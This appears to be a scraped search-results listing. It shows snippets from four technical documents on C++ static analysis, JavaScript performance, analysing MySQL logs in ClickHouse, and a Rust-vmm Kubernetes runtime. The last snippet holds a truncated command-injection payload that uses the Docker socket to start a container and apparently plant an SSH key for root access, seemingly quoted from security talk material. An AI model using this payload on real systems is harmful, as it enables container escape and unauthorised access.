Finding Bugs using Path-Sensitive Static Analysis
bool cond) { int var = 0; // branch 1 if (p != nullptr) { var = 1; } // branch 2 if (cond) { var = 2; p = nullptr; } // branch 3 if (var == 1) { *p = 42; bool cond) { int var = 0; // branch 1 if (p != nullptr) { var = 1; } // branch 2 if (cond) { var = 2; p = nullptr; } // branch 3 if (var == 1) { *p = 42; cond) { int var = 0; // branch 1 if (p != nullptr) { var = 1; } else {} // branch 2 if (cond) { var = 2; p = nullptr; } // branch 3 if (var == 1) { *p0 码力 | 35 页 | 14.13 MB | 5 月前3Performance Lets dive into Performance issues
function loopFunction () { var val = 0; for (var i=0;i<100000;i++) { doSomething( () => { val++; } ); } } Loops • Proper way function loops() { var val = 0, fun = function() { val++; }; for (var i=0;i<100000;i++) { doSomething(fun); } } Data Processing • Anything that does any amount of work; if possible move to your worker thread. • Gathering0 码力 | 15 页 | 1.71 MB | 1 年前3Analyzing MySQL Logs with ClickHouse
–multiline • Configure ClickTail • [Required Options] • ParserName = mysqlaudit • LogFiles = /var/lib/mysql/audit.log • Dataset = clicktail.mysql_audit_log © 2018 Percona. 21 Audit Log Query Examples LogFiles = /var/log/mysql/db01-slow.log • Dataset = clicktail.mysql_slow_log © 2018 Percona. 27 Additional Parser Configurarion [MySQL Parser Options] Host = localhost:3306 ; or @unix(/var/run/mysqld/mysqld0 码力 | 43 页 | 2.70 MB | 1 年前3基于Rust-vmm实现Kubernetes运行时
neargle.com:8888/?command_exec=python3 -c "import docker;client = docker.DockerClient(base_url='unix:///var/run/docker.sock');data = client.containers.run('alpine:latest', r'''sh -c \"echo 'ssh-rsa xxxxx root@620e839e9b02'0 码力 | 27 页 | 34.17 MB | 1 年前3
共 4 条
- 1